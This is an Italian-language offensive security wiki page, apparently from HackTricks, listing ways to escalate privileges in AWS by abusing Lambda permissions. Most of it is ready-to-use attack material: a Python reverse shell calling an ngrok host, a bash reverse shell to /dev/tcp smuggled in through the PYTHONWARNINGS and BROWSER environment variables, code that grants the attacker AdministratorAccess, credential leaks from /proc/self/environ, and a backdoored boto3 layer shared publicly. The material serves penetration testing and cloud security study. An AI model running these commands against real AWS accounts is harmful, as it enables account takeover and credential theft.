AWS - Lambda Privesc

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lambda

Ulteriori informazioni su lambda in:

AWS - Lambda Enum

iam:PassRole, lambda:CreateFunction, (lambda:InvokeFunction | lambda:InvokeFunctionUrl)

Gli utenti con i permessi iam:PassRole, lambda:CreateFunction e lambda:InvokeFunction possono elevare i loro privilegi. Possono creare una nuova funzione Lambda e assegnarle un ruolo IAM esistente, concedendo alla funzione i permessi associati a quel ruolo. L'utente può quindi scrivere e caricare codice su questa funzione Lambda (con una rev shell, ad esempio). Una volta configurata la funzione, l'utente può attivare la sua esecuzione e le azioni previste invocando la funzione Lambda tramite l'API AWS. Questo approccio consente all'utente di eseguire compiti indirettamente attraverso la funzione Lambda, operando con il livello di accesso concesso al ruolo IAM associato ad essa.\

Un attaccante potrebbe abusare di questo per ottenere una rev shell e rubare il token:

rev.py

import socket,subprocess,os,time
def lambda_handler(event, context):
s = socket.socket(socket.AF_INET,socket.SOCK_STREAM);
s.connect(('4.tcp.ngrok.io',14305))
os.dup2(s.fileno(),0)
os.dup2(s.fileno(),1)
os.dup2(s.fileno(),2)
p=subprocess.call(['/bin/sh','-i'])
time.sleep(900)
return 0

# Zip the rev shell
zip "rev.zip" "rev.py"

# Create the function
aws lambda create-function --function-name my_function \
--runtime python3.9 --role <arn_of_lambda_role> \
--handler rev.lambda_handler --zip-file fileb://rev.zip

# Invoke the function
aws lambda invoke --function-name my_function output.txt
## If you have the lambda:InvokeFunctionUrl permission you need to expose the lambda inan URL and execute it via the URL

# List roles
aws iam list-attached-user-policies --user-name <user-name>

Puoi anche abusare dei permessi del ruolo lambda dalla funzione lambda stessa. Se il ruolo lambda avesse abbastanza permessi, potresti usarlo per concederti diritti di amministratore:

import boto3
def lambda_handler(event, context):
client = boto3.client('iam')
response = client.attach_user_policy(
UserName='my_username',
PolicyArn='arn:aws:iam::aws:policy/AdministratorAccess'
)
return response

È anche possibile leakare le credenziali del ruolo della lambda senza necessitare di una connessione esterna. Questo sarebbe utile per Network isolated Lambdas utilizzate in compiti interni. Se ci sono gruppi di sicurezza sconosciuti che filtrano le tue reverse shell, questo pezzo di codice ti permetterà di leakare direttamente le credenziali come output della lambda.

def handler(event, context):
sessiontoken = open('/proc/self/environ', "r").read()
return {
'statusCode': 200,
'session': str(sessiontoken)
}

aws lambda invoke --function-name <lambda_name> output.txt
cat output.txt

Impatto Potenziale: Privesc diretto al ruolo di servizio lambda arbitrario specificato.

Nota che anche se potrebbe sembrare interessante lambda:InvokeAsync non consente da solo di eseguire aws lambda invoke-async, hai anche bisogno di lambda:InvokeFunction

iam:PassRole, lambda:CreateFunction, lambda:AddPermission

Come nel scenario precedente, puoi concederti il permesso lambda:InvokeFunction se hai il permesso lambda:AddPermission

# Check the previous exploit and use the following line to grant you the invoke permissions
aws --profile "$NON_PRIV_PROFILE_USER" lambda add-permission --function-name my_function \
--action lambda:InvokeFunction --statement-id statement_privesc --principal "$NON_PRIV_PROFILE_USER_ARN"

Impatto Potenziale: Privesc diretto al ruolo di servizio lambda arbitrario specificato.

iam:PassRole, lambda:CreateFunction, lambda:CreateEventSourceMapping

Gli utenti con i permessi iam:PassRole, lambda:CreateFunction e lambda:CreateEventSourceMapping (e potenzialmente dynamodb:PutItem e dynamodb:CreateTable) possono indirettamente escalare i privilegi anche senza lambda:InvokeFunction. Possono creare una funzione Lambda con codice malevolo e assegnarle un ruolo IAM esistente.

Invece di invocare direttamente la Lambda, l'utente configura o utilizza una tabella DynamoDB esistente, collegandola alla Lambda tramite una mappatura della sorgente evento. Questa configurazione garantisce che la funzione Lambda venga attivata automaticamente all'inserimento di un nuovo elemento nella tabella, sia per azione dell'utente che per un altro processo, attivando così indirettamente la funzione Lambda ed eseguendo il codice con i permessi del ruolo IAM passato.

aws lambda create-function --function-name my_function \
--runtime python3.8 --role <arn_of_lambda_role> \
--handler lambda_function.lambda_handler \
--zip-file fileb://rev.zip

Se DynamoDB è già attivo nell'ambiente AWS, l'utente deve solo stabilire il mapping della sorgente eventi per la funzione Lambda. Tuttavia, se DynamoDB non è in uso, l'utente deve creare una nuova tabella con lo streaming abilitato:

aws dynamodb create-table --table-name my_table \
--attribute-definitions AttributeName=Test,AttributeType=S \
--key-schema AttributeName=Test,KeyType=HASH \
--provisioned-throughput ReadCapacityUnits=5,WriteCapacityUnits=5 \
--stream-specification StreamEnabled=true,StreamViewType=NEW_AND_OLD_IMAGES

Ora è possibile collegare la funzione Lambda alla tabella DynamoDB creando una mappatura della sorgente dell'evento:

aws lambda create-event-source-mapping --function-name my_function \
--event-source-arn <arn_of_dynamodb_table_stream> \
--enabled --starting-position LATEST

Con la funzione Lambda collegata al flusso DynamoDB, l'attaccante può attivare indirettamente la Lambda attivando il flusso DynamoDB. Questo può essere realizzato inserendo un elemento nella tabella DynamoDB:

aws dynamodb put-item --table-name my_table \
--item Test={S="Random string"}

Impatto Potenziale: Privesc diretto al ruolo di servizio lambda specificato.

lambda:AddPermission

Un attaccante con questo permesso può concedere a se stesso (o ad altri) qualsiasi permesso (questo genera politiche basate sulle risorse per concedere accesso alla risorsa):

# Give yourself all permissions (you could specify granular such as lambda:InvokeFunction or lambda:UpdateFunctionCode)
aws lambda add-permission --function-name <func_name> --statement-id asdasd --action '*' --principal arn:<your user arn>

# Invoke the function
aws lambda invoke --function-name <func_name> /tmp/outout

Impatto Potenziale: Privesc diretto al ruolo di servizio lambda utilizzato concedendo il permesso di modificare il codice e eseguirlo.

lambda:AddLayerVersionPermission

Un attaccante con questo permesso può concedere a se stesso (o ad altri) il permesso lambda:GetLayerVersion. Potrebbe accedere al layer e cercare vulnerabilità o informazioni sensibili.

# Give everyone the permission lambda:GetLayerVersion
aws lambda add-layer-version-permission --layer-name ExternalBackdoor --statement-id xaccount --version-number 1 --principal '*' --action lambda:GetLayerVersion

Impatto Potenziale: Accesso potenziale a informazioni sensibili.

lambda:UpdateFunctionCode

Gli utenti che possiedono il permesso lambda:UpdateFunctionCode hanno il potenziale di modificare il codice di una funzione Lambda esistente collegata a un ruolo IAM. L'attaccante può modificare il codice della lambda per esfiltrare le credenziali IAM.

Sebbene l'attaccante potrebbe non avere la capacità diretta di invocare la funzione, se la funzione Lambda è preesistente e operativa, è probabile che venga attivata attraverso flussi di lavoro o eventi esistenti, facilitando così indirettamente l'esecuzione del codice modificato.

# The zip should contain the lambda code (trick: Download the current one and add your code there)
aws lambda update-function-code --function-name target_function \
--zip-file fileb:///my/lambda/code/zipped.zip

# If you have invoke permissions:
aws lambda invoke --function-name my_function output.txt

# If not check if it's exposed in any URL or via an API gateway you could access

Impatto Potenziale: Privesc diretto al ruolo di servizio lambda utilizzato.

lambda:UpdateFunctionConfiguration

RCE tramite variabili d'ambiente

Con questi permessi è possibile aggiungere variabili d'ambiente che causeranno l'esecuzione di codice arbitrario da parte della Lambda. Ad esempio, in python è possibile abusare delle variabili d'ambiente PYTHONWARNING e BROWSER per far eseguire a un processo python comandi arbitrari:

aws --profile none-priv lambda update-function-configuration --function-name <func-name> --environment "Variables={PYTHONWARNINGS=all:0:antigravity.x:0:0,BROWSER=\"/bin/bash -c 'bash -i >& /dev/tcp/2.tcp.eu.ngrok.io/18755 0>&1' & #%s\"}"

Per altri linguaggi di scripting ci sono altre variabili d'ambiente che puoi utilizzare. Per ulteriori informazioni controlla le sottosezioni dei linguaggi di scripting in:

macOS Process Abuse | HackTricks

RCE tramite Lambda Layers

Lambda Layers consente di includere codice nella tua funzione lambda ma memorizzandolo separatamente, in modo che il codice della funzione possa rimanere piccolo e diverse funzioni possano condividere codice.

All'interno di lambda puoi controllare i percorsi da cui viene caricato il codice python con una funzione come la seguente:

import json
import sys

def lambda_handler(event, context):
print(json.dumps(sys.path, indent=2))

Questi sono i luoghi:

1. /var/task

2. /opt/python/lib/python3.7/site-packages

3. /opt/python

4. /var/runtime

5. /var/lang/lib/python37.zip

6. /var/lang/lib/python3.7

7. /var/lang/lib/python3.7/lib-dynload

8. /var/lang/lib/python3.7/site-packages

9. /opt/python/lib/python3.7/site-packages

10. /opt/python

Ad esempio, la libreria boto3 è caricata da /var/runtime/boto3 (4ª posizione).

Sfruttamento

È possibile abusare del permesso lambda:UpdateFunctionConfiguration per aggiungere un nuovo layer a una funzione lambda. Per eseguire codice arbitrario, questo layer deve contenere qualche libreria che la lambda andrà a importare. Se puoi leggere il codice della lambda, potresti trovarlo facilmente, nota anche che potrebbe essere possibile che la lambda stia già utilizzando un layer e potresti scaricare il layer e aggiungere il tuo codice lì dentro.

Ad esempio, supponiamo che la lambda stia utilizzando la libreria boto3, questo creerà un layer locale con l'ultima versione della libreria:

pip3 install -t ./lambda_layer boto3

Puoi aprire ./lambda_layer/boto3/__init__.py e aggiungere la backdoor nel codice globale (una funzione per esfiltrare credenziali o ottenere una reverse shell, ad esempio).

Poi, comprimi quella directory ./lambda_layer e carica il nuovo layer lambda nel tuo account (o in quello della vittima, ma potresti non avere i permessi per farlo). Nota che devi creare una cartella python e mettere le librerie lì per sovrascrivere /opt/python/boto3. Inoltre, il layer deve essere compatibile con la versione di python utilizzata dalla lambda e se lo carichi nel tuo account, deve essere nella stessa regione:

aws lambda publish-layer-version --layer-name "boto3" --zip-file file://backdoor.zip --compatible-architectures "x86_64" "arm64" --compatible-runtimes "python3.9" "python3.8" "python3.7" "python3.6"

Ora, rendi il layer lambda caricato accessibile da qualsiasi account:

aws lambda add-layer-version-permission --layer-name boto3 \
--version-number 1 --statement-id public \
--action lambda:GetLayerVersion --principal *

E allega il layer lambda alla funzione lambda della vittima:

aws lambda update-function-configuration \
--function-name <func-name> \
--layers arn:aws:lambda:<region>:<attacker-account-id>:layer:boto3:1 \
--timeout 300 #5min for rev shells

Il passo successivo sarebbe invocare la funzione noi stessi se possiamo o aspettare che venga invocata con mezzi normali, che è il metodo più sicuro.

Un modo più furtivo per sfruttare questa vulnerabilità può essere trovato in:

AWS - Lambda Layers Persistence

Impatto Potenziale: Privesc diretto al ruolo di servizio lambda utilizzato.

iam:PassRole, lambda:CreateFunction, lambda:CreateFunctionUrlConfig, lambda:InvokeFunctionUrl

Forse con quei permessi sei in grado di creare una funzione ed eseguirla chiamando l'URL... ma non sono riuscito a trovare un modo per testarlo, quindi fammi sapere se lo fai!

Lambda MitM

Alcuni lambda riceveranno informazioni sensibili dagli utenti nei parametri. Se ottieni RCE in uno di essi, puoi esfiltrare le informazioni che altri utenti stanno inviando, controlla qui:

AWS - Steal Lambda Requests

Riferimenti

• https://rhinosecuritylabs.com/aws/aws-privilege-escalation-methods-mitigation/

• https://rhinosecuritylabs.com/aws/aws-privilege-escalation-methods-mitigation-part-2/

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